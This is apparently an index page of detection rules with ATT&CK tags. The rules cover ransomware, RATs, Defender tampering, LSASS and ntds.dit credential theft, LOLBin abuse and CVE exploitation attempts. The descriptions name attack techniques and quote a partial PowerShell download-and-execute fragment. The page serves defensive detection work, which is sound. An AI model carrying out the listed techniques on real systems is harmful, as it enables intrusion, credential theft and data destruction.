Detects process execution in PerfLogs folder - a folder used by Windows for log collection - and matching previously-observed naming patterns for ransomware executables.

Read More
Suspicious Registry Modification of MaxMpxCt Parameters

Dec 6, 2022 · attack.command_and_control attack.defense_evasion attack.t1105 attack.t1562 ·
Share on:

Detects registry modifications to change MaxMpxCt settings. BlackCat does this to increase the number of outstanding requests allowed, such as SMB requests to distribute ransomware through an environment.

Read More
Executable Deployment from Remote Share

Nov 29, 2022 · attack.lateral_movement attack.command_and_control attack.t1105 attack.t1021 ·
Share on:

Detects use of the copy utility to deploy executable files from a remote share to a temp directory, such as the procedure performed by Vice Ransomware gang.

Read More
NTDSutil Pulling of NTDS.dit File

Nov 29, 2022 · attack.credential_access attack.t1003 attack.t1003.003 ·
Share on:

Detects use of the ntdsutil utility to pull ntds.dit (Active Directory database).

Read More
Tampering of Windows Defender with Reg

Nov 29, 2022 · attack.defense_evasion attack.t1562 attack.t1562.001 ·
Share on:

Detects use of the reg utility to tamper with MS Defender protections.

Read More
Vice Society Encrypted File Extension File Creation

Nov 29, 2022 · attack.impact attack.t1486 ·
Share on:

Detects creation of potentially-encrypted files by Vice Society ransomeware. As this is based only on file extensions, the analyst should investigate surrounding activity to validate that this is not part of a benign applicatoin.

Read More
PowerShell -encodedcommand Switch

Nov 29, 2022 · attack.defense_evasion attack.t1140 attack.execution attack.t1059.001 ·
Share on:

Looks for the execution of powershell.exe with command lines that include variations of the -encodedcommand argument. Inspired by the 2022 Red Canary Threat Detection report.

Read More
Boot Configuration Database (BCD) Manipulation - Registry Modification

Nov 22, 2022 · attack.impact attack.t1490 attack.g0092 ·
Share on:

Detects registry modifications occuring in tandem with disruption of boot processes with bcdedit (or as a method to evade detection)

Read More
Event Log Manipulation Using Wevtutil

Nov 22, 2022 · attack.defense_evasion attack.t1070 attack.g0092 ·
Share on:

Detects the use of wevtutil to clear or otherwise manipulate Windows event logs.

Read More
Use of bcdedit to Disrupt Boot Processes

Nov 22, 2022 · attack.impact attack.t1490 attack.g0092 ·
Share on:

Detects the use of bcdedit to disrupt normal boot processes.

Read More
Powershell Download and Execute IEX

Nov 21, 2022 ·
Share on:

powershell download file from internet and execute

Read More
Suspicious Schtasks Child Process

Nov 19, 2022 · attack.persistence attack.t1053 attack.t1053.005 ·
Share on:

Detects schtasks being run as a child process of explorer.exe to create a schedule task.

Read More
Suspicious Calc DLL Load

Nov 19, 2022 · attack.persistence attack.t1574 ·
Share on:

Detects Windows 7 calc.exe loading DLLs from suspicious or abnormal file paths.

Read More
Malicious QakBot Dropped File Creation (Sysmon)

Nov 18, 2022 · attack.initial_access attack.defense_evasion attack.t1566 attack.t1027 attack.t1553 ·
Share on:

Detects creation of files potentially associated with QakBot initial infection, documented by Adithya Chandra and Sushant Kumar Arya of Trellix in August 2022.

Read More
MedusaLocker

Nov 11, 2022 ·
Share on:

MedusaLocker key

Read More
Abnormal LSASS Child and Parent Process Relationships

Nov 9, 2022 · attack.credential_access attack.t1003.001 ·
Share on:

Detects potential lsass.exe abuse based on unusual and suspicious parent-child relationships. Inspired by the 2022 Red Canary Threat Detection report.

Read More
Abnormal LSASS Process Access and Injection

Nov 9, 2022 · attack.credential_access attack.t1003.001 ·
Share on:

Detects obviously suspicious cross-process events targetting lsass.exe. Inspired by the 2022 Red Canary Threat Detection report.

Read More
Abusing PowerShell to Disable Defender Components

Nov 9, 2022 · attack.defense_evasion attack.t1562 attack.t1562.001 attack.t1562.004 ·
Share on:

Looks for instances of powershell being used to disable or impair Windows Defender functionality. Inspired by the 2022 Red Canary Threat Detection report.

Read More
Abusing PowerShell to Modify Defender Components

Nov 9, 2022 · attack.defense_evasion attack.t1562 attack.t1562.001 attack.t1562.004 ·
Share on:

Looks for instances of powershell being used to modify or degrade Windows Defender functionality. Inspired by the 2022 Red Canary Threat Detection report.

Read More
Application Bypass with RunDLL32 and DllRegisterServer Function

Nov 9, 2022 · attack.defense_evasion attack.t1218 attack.t1218.011 attack.s0650 attack.s0386 ·
Share on:

DLLs that are designed to be loaded by Regsvr32 are expected to have a DllRegisterServer export function implemented. This detects use of the same DLL to rundll32.exe. Inspired by the 2022 Red Canary Threat Detection report.

Read More
Base64 Encoding in CMD or Powershell

Nov 9, 2022 · attack.defense_evasion attack.t1140 attack.execution attack.t1059.001 ·
Share on:

Looks for the execution of cmd.exe or powershell.exe with command lines that includes the term base64. Inspired by the 2022 Red Canary Threat Detection report.

Read More
BITSAdmin Downloading Malicious Binaries

Nov 9, 2022 · attack.command_and_control attack.t1105 ·
Share on:

Detects usage of BITSAdmin to download malicious code. Inspired by the 2022 Red Canary Threat Detection report.

Read More
CertUtil Downloading Malicious Binaries

Nov 9, 2022 · attack.command_and_control attack.t1105 ·
Share on:

Detects usage of certutil to download malicious code. Inspired by the 2022 Red Canary Threat Detection report.

Read More
Chrome Spawned by Powershell with Load-Extension in Command Line

Nov 9, 2022 · attack.persistence attack.t1176 ·
Share on:

Detects instances of the Chrome browser executable spawning from PowerShell with a corresponding command line that includes appdata\local as a parameter.

Read More
CMD Launching Batch Script Stored on External Drive (Chromeloader)

Nov 9, 2022 · attack.defense_evasion attack.t1553 attack.t1553.005 ·
Share on:

Detects instances of CMD executing a batch stored on an externally-mounted drives, in turn spawning a tar extraction process.

Read More
Command Shell Bypassing Security Controls

Nov 9, 2022 · attack.execution attack.t1059.003 ·
Share on:

Detects common ways to bypass controls using Windows Command Shell. Inspired by the 2022 Red Canary Threat Detection report.

Read More
Command Shell Obfuscated Commands

Nov 9, 2022 · attack.execution attack.t1059.003 attack.defense_evasion attack.t1027 ·
Share on:

Looks for the execution of Windows Command Shell with unusually high counts of characters used for obfuscation. Inspired by the 2022 Red Canary Threat Detection report.

Read More
Command Shell Unusual or Suspicious Process Ancestry

Nov 9, 2022 · attack.persistence attack.t1505 attack.execution attack.t1059.003 ·
Share on:

Looks for suspicious process interactions between the Windows IIS worker process (w3wp.exe) and the command shell. Inspired by the 2022 Red Canary Threat Detection report.

Read More
Gootloader Stage 2 Registry Key Creation

Nov 9, 2022 · attack.execution attack.defense_evasion attack.t1620 ·
Share on:

Detects potential stage 2 Gootloader registry key creation.

Read More
PowerShell Base64 Encoding

Nov 9, 2022 · attack.defense_evasion attack.t1140 attack.execution attack.t1059.001 ·
Share on:

Looks for the execution of powershell.exe with command lines that includes the term base64. Inspired by the 2022 Red Canary Threat Detection report.

Read More
PowerShell Injecting into Other Process

Nov 9, 2022 · attack.privilege_escalation attack.t1055 ·
Share on:

Looks for process access activity where PowerShell is accessing any other processes. Inspired by the 2022 Red Canary Threat Detection report.

Read More
Powershell Obfuscation and Escape Characters

Nov 9, 2022 · attack.execution attack.t1059.003 attack.defense_evasion attack.t1027 ·
Share on:

Looks for the execution of PowerShell with unusually high counts of characters like ^, +, $, and %. Inspired by the 2022 Red Canary Threat Detection report.

Read More
Process Executing with Unusual Command Lines

Nov 9, 2022 · attack.defense_evasion attack.t1036.003 ·
Share on:

Looks for the execution of non-powershell process with command lines matching common powershell format. Inspired by the 2022 Red Canary Threat Detection report.

Read More
Process Executing with Unusual Command Lines

Nov 9, 2022 · attack.defense_evasion attack.t1036.003 ·
Share on:

Looks for the execution of non-powershell process with command lines matching common powershell format. Inspired by the 2022 Red Canary Threat Detection report.

Read More
Process Execution sans Command Lines

Nov 9, 2022 · attack.privilege_escalation attack.t1055 ·
Share on:

Looks for process execution with no command line arguments, which may indicate process injection. Inspired by the 2022 Red Canary Threat Detection report.

Read More
Rundll32 with Suspicious Export Functionalities

Nov 9, 2022 · attack.defense_evasion attack.t1218 attack.t1218.011 ·
Share on:

Detects instances of rundll32.exe running Windows native DLLs that have export functionalities that adversaries commonly leverage for executing malicious code and evading defensive controls. Inspired by the 2022 Red Canary Threat Detection report.

Read More
Rundll32 with Suspicious Process Lineage

Nov 9, 2022 · attack.defense_evasion attack.t1218 attack.t1218.011 ·
Share on:

Detects executions of rundll32.exe from unusual or suspicious parent processes. Inspired by the 2022 Red Canary Threat Detection report.

Read More
Rundll32 without Command Line

Nov 9, 2022 · attack.defense_evasion attack.t1218 attack.t1218.011 ·
Share on:

Detects instances of rundll32.exe with no command line that spawns a child process. Inspired by the 2022 Red Canary Threat Detection report.

Read More
Suspicious Powershell Cmdlets

Nov 9, 2022 · attack.execution attack.t1059 attack.t1059.001 ·
Share on:

Looks for look for cmdlets, methods, and switches that may indicate malicious activity. Inspired by the 2022 Red Canary Threat Detection report.

Read More
Suspicious WMI-Related Powershell Cmdlets

Nov 9, 2022 · attack.execution attack.t1059 attack.t1059.001 attack.t1047 ·
Share on:

Detects potential adversaries using powershell WMI-related cmdlets to query the operating system or execute commands, either locally or remotely. Inspired by the 2022 Red Canary Threat Detection report.

Read More
Svchost Not Matching Normal Execution Parameters

Nov 9, 2022 · attack.defense_evasion attack.t1036 attack.t1036.005 ·
Share on:

Looks for the execution of svchost without the normal -k parameter. Inspired by the 2022 Red Canary Threat Detection report.

Read More
Unexpected Internal Process Name

Nov 9, 2022 · attack.defense_evasion attack.t1036 attack.t1036.003 ·
Share on:

Looks for the execution of powershell renamed as Notepad.exe. Inspired by the 2022 Red Canary Threat Detection report.

Read More
Windows Scheduled Task Behaving Improperly or Suspiciously

Nov 9, 2022 · attack.persistence attack.execution attack.t1053 attack.t1053.005 ·
Share on:

Detects scheduled tasks created with the /create flag and a reference to commonly-abused Windows utilities. Inspired by the 2022 Red Canary Threat Detection report.

Read More
Windows Scheduled Task Create Shell

Nov 9, 2022 · attack.persistence attack.execution attack.t1053 attack.t1053.005 ·
Share on:

Detects creation of scheduled tasks which may establish persistence using the command shell. Inspired by the 2022 Red Canary Threat Detection report.

Read More
Windows Scheduled Task Making Suspicious Network Connection

Nov 9, 2022 · attack.persistence attack.execution attack.t1053 attack.t1053.005 ·
Share on:

Detects scheduled tasks created to reach out to external domains and download arbitrary binaries on a set or recurring schedule. Inspired by the 2022 Red Canary Threat Detection report.

Read More
WMIC Shadow Copy Deletion

Nov 9, 2022 · attack.impact attack.t1490 ·
Share on:

Detects adversaries using WMI to delete shadow copies. Inspired by the 2022 Red Canary Threat Detection report.

Read More
WMIC Suspicious Commands

Nov 9, 2022 · attack.execution attack.t1047 ·
Share on:

Detects adversaries leveraging WMI to gather domain information such as users, groups, AV product in use, or computers in the domain. Inspired by the 2022 Red Canary Threat Detection report.

Read More
WMIC Suspicious Commands

Nov 9, 2022 · attack.execution attack.t1047 ·
Share on:

Detects suspicious parent-child relationships with the wmiprvse command. Inspired by the 2022 Red Canary Threat Detection report.

Read More
WMIC Suspicious Commands

Nov 9, 2022 · attack.execution attack.t1047 ·
Share on:

Detects spawning of unique and unsigned binaries or commands remotely using the well known process call create command. Inspired by the 2022 Red Canary Threat Detection report.

Read More
Wscript.exe Executing Agreement Javascript in AppData Folder

Nov 9, 2022 · attack.execution attack.t1059 attack.t1059.005 ·
Share on:

Detects potential stage 1 Gootloader javascript execution.

Read More
Solarmarker File Extension Registry Key Set

Nov 9, 2022 · attack.defense_evasion attack.t1202 ·
Share on:

Detects creation of suspicious file extension registry key. This extension is then registered with a custom file type (see Detail component of detection below) with a malicious powershell payload specified.

Read More
Remcos

Nov 9, 2022 ·
Share on:

detect log.dat of remcos and registry entry

Read More
Sodinokibi

Nov 2, 2022 ·
Share on:

Sodinokibi random extension key

Read More
Copy file to startup via Powershell

Oct 28, 2022 ·
Share on:

Copy file to startup via Powershell

Read More
Stop multiple services

Oct 11, 2022 ·
Share on:

Stop multiple services

Read More
Powershell drops NetSupport RAT client

Aug 30, 2022 ·
Share on:

Powershell drops NetSupport RAT client

Read More
VjW0rm

Aug 30, 2022 ·
Share on:

VjW0rm Registry key

Read More
Confluence Exploit Activity on Webserver Logs

Jul 13, 2022 · attack.t1190 ·
Share on:

Detection for Confluence server activity found on webserver logs

Read More
Drops script at startup location

Mar 15, 2022 ·
Share on:

Drops script at startup location

Read More
bitsadmin download and execute

Dec 10, 2021 ·
Share on:

Detect bitsadmin download and execute activity

Read More
CVE-2021-22205

Nov 1, 2021 ·
Share on:

Detection of CVE-2021-22205 observed from our Honeypots

Read More
Execute DLL with spoofed extension

Oct 15, 2021 ·
Share on:

Execute DLL with spoofed extension

Read More
Powershell Decrypt And Execute Base64 Data

Sep 30, 2021 ·
Share on:

powershell decrypts and execute hardcoded base64 blob

Read More
CVE-2020-15568

Sep 29, 2021 ·
Share on:

Detection of CVE-2020-15568 observed from our Honeypots

Read More
CVE-2018-20057

Sep 24, 2021 ·
Share on:

Detection of CVE-2018-20057 observed from our Honeypots

Read More
CVE-2012-1922

Sep 24, 2021 ·
Share on:

Detection of CVE-2012-1922 observed from our Honeypots

Read More
CVE-2021-26084

Sep 24, 2021 ·
Share on:

Detection of CVE-2021-26084 observed from our Honeypots

Read More
Drops fake system file at system root drive

Aug 13, 2021 ·
Share on:

Drops fake system file at system root drive

Read More
Powershell run code from registry

Aug 12, 2021 ·
Share on:

Powershell run code from registry

Read More
Run CertUtil from suspicious location

Jul 30, 2021 ·
Share on:

Run CertUtil from suspicious location

Read More
LimeRAT

Jul 22, 2021 ·
Share on:

LimeRAT

Read More
Scheduled temp file as task from temp location

Jun 28, 2021 ·
Share on:

Scheduled temp file as task from temp location

Read More
CVE-2021-22986

Jun 28, 2021 ·
Share on:

Detection of CVE-2021-22986 observed from our Honeypots

Read More
CVE-2019-10040

Jun 28, 2021 ·
Share on:

Detection of CVE-2019-10040 observed from our Honeypots

Read More
CVE-2020-25506

Jun 28, 2021 ·
Share on:

Detection of CVE-2020-25506 observed from our Honeypots

Read More
msiexec download and execute

May 25, 2021 ·
Share on:

msiexec download and execute

Read More
Schedule system process

May 19, 2021 ·
Share on:

Schedule system process

Read More
Add file from suspicious location to autostart registry

May 3, 2021 ·
Share on:

Add file from suspicious location to autostart registry

Read More
AntiVM

May 3, 2021 ·
Share on:

Detect virtual environment "VirtualBox|VMware|KVM|HVM"

Read More
AppLocker Bypass via Regsvr32

May 3, 2021 ·
Share on:

AppLocker Bypass via Regsvr32

Read More
Check external IP via Powershell

May 3, 2021 ·
Share on:

Check external IP via Powershell

Read More
Check privilege of CMD via whoami

May 3, 2021 ·
Share on:

Check privilege of CMD via whoami

Read More
Copy itself to suspicious location via type command

May 3, 2021 ·
Share on:

Copy itself to suspicious location via type command

Read More
Credwiz util dropped by mshta for dll sideloading

May 3, 2021 ·
Share on:

Credwiz util dropped by mshta for dll sideloading

Read More
Decode DLL Via Certutil

May 3, 2021 ·
Share on:

Decode DLL Via Certutil

Read More
Decode strings from lnk via findstr.exe

May 3, 2021 ·
Share on:

uses findstr.exe to decode strings from lnk file

Read More
Delete Shadow Copy Via Powershell

May 3, 2021 ·
Share on:

Delete Shadow Copy Via Powershell

Read More
Delete shadow copy via WMIC

May 3, 2021 ·
Share on:

Delete shadow copy via WMIC

Read More
Drops a DLL with WLL extension to the startup

May 3, 2021 ·
Share on:

Drops a DLL with WLL extension to the startup

Read More
EQNEDT32.EXE connecting to internet

May 3, 2021 ·
Share on:

EQNEDT32.EXE connecting to internet

Read More
Exe Launched By ReflectiveLoader Dll

May 3, 2021 ·
Share on:

exe launched by dll with ReflectiveLoader export function

Read More
Execute dll with txt extension from temp location

May 3, 2021 ·
Share on:

Execute dll with txt extension from temp location

Read More
Execute Script with spoofed extension

May 3, 2021 ·
Share on:

Execute Script with spoofed extension

Read More
Execute Scriptlet from internet Via Regsvr32

May 3, 2021 ·
Share on:

regsvr32.exe to execute a COM scriptlet from internet

Read More
Execute Scriptlet Via Regsvr32

May 3, 2021 ·
Share on:

regsvr32.exe to execute a COM scriptlet

Read More
File Dropped By EQNEDT32EXE

May 3, 2021 ·
Share on:

File dropped by EQNEDT32.EXE(CVE-2017-11882)

Read More
Fodhelper UAC Bypass

May 3, 2021 ·
Share on:

Fodhelper UAC Bypass

Read More
Geofenced Ru

May 3, 2021 ·
Share on:

Detect region and exit if matched with harcoded country list Get-UICulture).Name -match "CN|RO|RU|UA|BY

Read More
Get antivirus details via WMIC query

May 3, 2021 ·
Share on:

Get antivirus details via WMIC query

Read More
Hide copy and delete itself

May 3, 2021 ·
Share on:

Hide copy via attrib.exe and delete itself

Read More
IcedID Downloader

May 3, 2021 ·
Share on:

IcedID Downloader

Read More
Kill multiple process

May 3, 2021 ·
Share on:

Kill multiple process

Read More
MSBuild connects to smtp port

May 3, 2021 ·
Share on:

MSBuild connects to smtp port

Read More
MSBuild execute suspicous task

May 3, 2021 ·
Share on:

MSBuild execute suspicous task

Read More
MSBuild Launched By Scr

May 3, 2021 ·
Share on:

Code injection in msbuild.exe by .scr file

Read More
Mshta Download Pastebin

May 3, 2021 ·
Share on:

mshta downloads payload from pastebin

Read More
NanoCore

May 3, 2021 ·
Share on:

detect run.dat of NanoCore

Read More
NetWire

May 3, 2021 ·
Share on:

NetWire auto-start registry entry

Read More
Office product drops executable at suspicious location

May 3, 2021 ·
Share on:

Office product drops executable at suspicious location

Read More
Office product drops script at suspicious location

May 3, 2021 ·
Share on:

Office product drops script at suspicious location

Read More
Powershell add exclusion path, extension and process

May 3, 2021 ·
Share on:

Powershell add exclusion path, extension and process

Read More
Powershell adding suspicious path to exclusion list

May 3, 2021 ·
Share on:

Powershell adding suspicious path to exclusion list

Read More
Powershell create lnk in startup

May 3, 2021 ·
Share on:

Powershell create lnk in startup

Read More
Powershell delayed execution via ping command

May 3, 2021 ·
Share on:

Powershell delayed execution via ping command

Read More
Powershell download file and shellexecute

May 3, 2021 ·
Share on:

Powershell download file and shellexecute

Read More
Powershell download file from base64 url

May 3, 2021 ·
Share on:

Powershell download file from base64 url

Read More
Powershell download payload from hardcoded c2 list

May 3, 2021 ·
Share on:

Powershell download payload from hardcoded c2 list

Read More
Powershell execute code from registry

May 3, 2021 ·
Share on:

Powershell execute code from registry

Read More
Powershell IEX Download In Base64

May 3, 2021 ·
Share on:

powershell IEX((new-object net.webclient).downloadstring( string in base64 form

Read More
Powershell launch wmic via class

May 3, 2021 ·
Share on:

Powershell launch wmic via class

Read More
Powershell launch wscript

May 3, 2021 ·
Share on:

Powershell launch wscript

Read More
Powershell Launched By Winword

May 3, 2021 ·
Share on:

powershell with enco parameter launched by winword / excel / powerpoint

Read More
Powershell load assembly from internet

May 3, 2021 ·
Share on:

Powershell load assembly from internet

Read More
Powershell load assembly from registry

May 3, 2021 ·
Share on:

Powershell load assembly from registry

Read More
powershell registry execution via wmic

May 3, 2021 ·
Share on:

Detect powershell registry execution via wmic

Read More
Quasar

May 3, 2021 ·
Share on:

Quasar

Read More
ReflectiveLoader

May 3, 2021 ·
Share on:

ReflectiveLoader

Read More
RegAsm connects to smtp port

May 3, 2021 ·
Share on:

RegAsm connects to smtp port

Read More
Register dll at autostart location via regsvr32

May 3, 2021 ·
Share on:

Register dll at autostart location via regsvr32

Read More
Register Wscript In Run Key

May 3, 2021 ·
Share on:

Registering wscript to autostart run key for dropped js/vbs

Read More
Rename system process and copy to suspicious location

May 3, 2021 ·
Share on:

Rename system process and copy to suspicious location

Read More
Renamed MSHTA launching html

May 3, 2021 ·
Share on:

Renamed MSHTA launching html

Read More
RMSRemoteAdmin

May 3, 2021 ·
Share on:

RMS RemoteAdmin tool

Read More
Run temp file via regsvr32

May 3, 2021 ·
Share on:

Run temp file via regsvr32

Read More
rundll32 launch mshta and run script from internet

May 3, 2021 ·
Share on:

Detect rundll32 launch mshta and run script from internet

Read More
rundll32 run dll from internet

May 3, 2021 ·
Share on:

rundll32 run dll from internet

Read More
Ryuk

May 3, 2021 ·
Share on:

Ryuk sending magic Wake-On-Lan packet on port 7

Read More
Schedule binary from dotnet directory

May 3, 2021 ·
Share on:

Schedule binary from dotnet directory

Read More
Schedule CERTUTIL windows binary

May 3, 2021 ·
Share on:

Schedule CERTUTIL windows binary

Read More
Schedule REGSVR windows binary

May 3, 2021 ·
Share on:

Schedule REGSVR windows binary

Read More
Schedule script as task

May 3, 2021 ·
Share on:

Schedule script as task

Read More
Schedule script from internet via mshta

May 3, 2021 ·
Share on:

Schedule script from internet via mshta

Read More
Schedule VBS From Appdata

May 3, 2021 ·
Share on:

Schedule vb script From Appdata

Read More
Shedule powershell with encoded command parameter

May 3, 2021 ·
Share on:

Shedule powershell with encoded command parameter

Read More
Steal Google chrome login data

May 3, 2021 ·
Share on:

Steal Google chrome login data

Read More
Wake-On-Lan

May 3, 2021 ·
Share on:

Sending magic Wake-On-Lan packet on port 7

Read More
Winword Drops Script In Startup

May 3, 2021 ·
Share on:

Winword.exe drops script file in startup location

Read More
Wmic download via msiexec

May 3, 2021 ·
Share on:

Wmic download via msiexec

Read More
Wmic Launch Msiexec

May 3, 2021 ·
Share on:

Wmic launch msiexec to download file from internet

Read More
wmic launch powershell and execute encrypted script

May 3, 2021 ·
Share on:

Detect wmic launch powershell and execute encrypted script

Read More
Wmic Launch regsvr32

May 3, 2021 ·
Share on:

Wmic launch regsvr32

Read More
WMIC launch script from xsl file

May 3, 2021 ·
Share on:

WMIC launch script from xsl file

Read More
WScript Launched By Powershell

May 3, 2021 ·
Share on:

powershell launches WScript, WScript executes file from startup

Read More
Anomaly detection for Asp.Net

Sep 17, 2020 ·
Share on:

Detecting suspicious log events which lead to potential security threats

Read More
Anomaly detection for Spring framework

Sep 17, 2020 ·
Share on:

Detecting suspicious log events which lead to potential security threats

Read More
Anomaly detection for Apache Tomcat

Aug 21, 2020 ·
Share on:

Detecting suspicious error log events which lead to potential security threats

Read More
Anomaly detection for Apache Tomcat

Aug 21, 2020 ·
Share on:

Detecting suspicious error log events which lead to potential security threats

Read More
Anomaly detection for Apache Tomcat

Aug 21, 2020 ·
Share on:

Detecting suspicious error log events which may lead to potential security threats

Read More
Anomaly detection for Nginx

Aug 21, 2020 ·
Share on:

Detecting suspicious error log events which lead to potential security threats

Read More
Anomaly detection for Nginx

Aug 21, 2020 ·
Share on:

Detecting suspicious error log events which lead to potential security threats

Read More
Anomaly detection for Nginx

Aug 21, 2020 ·
Share on:

Detecting suspicious error log events which may lead to potential security threats

Read More
Anomaly detection for wildfly

Aug 21, 2020 ·
Share on:

Detecting suspicious log events which lead to potential security threats

Read More
Anomaly detection for wildfly

Aug 21, 2020 ·
Share on:

Detecting suspicious log events which lead to potential security threats

Read More
CVE-2002-2006 Exploitation Attempt

Aug 21, 2020 ·
Share on:

Detecting the attempt of Sensitive Information exposure via servlets

Read More
CVE-2009-3898 Exploitation Attempt

Aug 21, 2020 ·
Share on:

Detects the exploit attempt for Path Traversal Vulnerability

Read More
CVE-2009-4487 Exploitation Attempt

Aug 21, 2020 ·
Share on:

Detects the exploit of Command-Injection Vulnerability

Read More
CVE-2010-2263 Exploitation Attempt

Aug 21, 2020 ·
Share on:

Detects the source code disclosure exploit attempt

Read More
CVE-2010-2266 Exploitation Attempt

Aug 21, 2020 ·
Share on:

Detects the exploit attempt for CVE-2010-2266

Read More
CVE-2013-2028 Exploitation Attempt

Aug 21, 2020 ·
Share on:

Detecting CVE-2013-2028 based on the error log generated on exploiting

Read More
CVE-2013-4547 Exploitation Attempt

Aug 21, 2020 ·
Share on:

Detects CVE-2013-4547

Read More
CVE-2016-10134 Exploitation Attempt

Aug 21, 2020 ·
Share on:

Detection the exploit attempt of SQL injection

Read More
CVE-2016-6816 Exploitation Attempt

Aug 21, 2020 ·
Share on:

Detecting the attempt of Improper Input Validation

Read More
CVE-2017-12615 Exploitation Attempt

Aug 21, 2020 ·
Share on:

Detects Remote Code Execution(JSP Upload Bypass) attack

Read More
CVE-2017-12617 Exploitation Attempt

Aug 21, 2020 ·
Share on:

Detects Remote Code Execution(JSP Upload Bypass) attack

Read More
CVE-2017-14849 Exploitation Attempt

Aug 21, 2020 ·
Share on:

Detects the exploit attempt for Path Traversal Vulnerability

Read More
CVE-2017-15715 Exploitation Attempt

Aug 21, 2020 ·
Share on:

Detects CVE-2017-15715

Read More
CVE-2017-6920 Exploitation Attempt

Aug 21, 2020 ·
Share on:

Detecting a Remote Code Execution vulnerability due to the PECL YAML parser not handling PHP objects safely

Read More
CVE-2017-7529 Exploitation Attempt

Aug 21, 2020 ·
Share on:

Detects CVE-2017-7529

Read More
CVE-2017-7659 Exploitation Attempt

Aug 21, 2020 ·
Share on:

Detects if the crash is due to Null Pointer Dereference

Read More
CVE-2018-11759 Exploitation Attempt

Aug 21, 2020 ·
Share on:

Detects path traversal vulnerability in mod_jk module

Read More
CVE-2018-12613 Exploitation Attempt

Aug 21, 2020 ·
Share on:

Detection the attempt of Improper Authentication

Read More
CVE-2018-7490 Exploitation Attempt

Aug 21, 2020 ·
Share on:

Detects the exploit attempt for Path Traversal Vulnerability

Read More
CVE-2018-7600 Exploitation Attempt

Aug 21, 2020 ·
Share on:

Detecting the attempt of Remote Code Execution (RCE) in Drupal Drupalgeddon

Read More
CVE-2018-7602 Exploitation Attempt

Aug 21, 2020 ·
Share on:

Detecting a potentially high Remote Code Execution vulnerability

Read More
CVE-2019-0232 Exploitation Attempt

Aug 21, 2020 ·
Share on:

Detecting the attempt of Remote Code Execution (RCE) in CGI Servlet

Read More
CVE-2019-10092 Exploitation Attempt

Aug 21, 2020 ·
Share on:

Detects Cross-Site Scripting attack in mod_proxy error page

Read More
CVE-2019-10097 Exploitation Attempt

Aug 21, 2020 ·
Share on:

Detects Stack Buffer Overflow and Null Pointer Dereference vulnerability in RemoteIPProxyProtocol Module.

Read More
CVE-2019-10098 Exploitation Attempt

Aug 21, 2020 ·
Share on:

Detects open redirect vulnerability in mod_rewrite configuration.

Read More
CVE-2019-6339 Exploitation Attempt

Aug 21, 2020 ·
Share on:

Detecting the attempt of Remote Code Execution (RCE) in Drupal

Read More
CVE-2019-6340 Exploitation Attempt

Aug 21, 2020 ·
Share on:

Detecting the attempt of Remote Code Execution (RCE) in Drupal REST Module

Read More
CVE-2020-12112 Exploitation Attempt

Aug 21, 2020 ·
Share on:

Detection the attempt of Exposure of Sensitive Information

Read More
CVE-2020-12443 Exploitation Attempt

Aug 21, 2020 ·
Share on:

Detection the exploit attempt of Path Traversal

Read More
CVE-2020-13662 Exploitation Attempt

Aug 21, 2020 ·
Share on:

Detecting a open redirect vulnerability via the destination-parameter

Read More
CVE-2020-1927 Exploitation Attempt

Aug 21, 2020 ·
Share on:

Detecting the open redirect vulnerability in mod_rewrite configuration

Read More
CVE-2020-1938 Exploitation Attempt

Aug 21, 2020 ·
Share on:

Detecting the attempt of AJP Request Injection

Read More
CVE-2020-5722 Exploitation Attempt

Aug 21, 2020 ·
Share on:

Detection of CVE-2020-5722 observed from our Honeypots

Read More
CVE-2020-8515 Exploitation Attempt

Aug 21, 2020 ·
Share on:

Detection of pre-auth RCE attack in DrayTek Vigor series observed from our Honeypots

Read More
CVE-2020-9484 Exploitation Attempt

Aug 21, 2020 ·
Share on:

Detecting the attempt of RCE via deserialization

Read More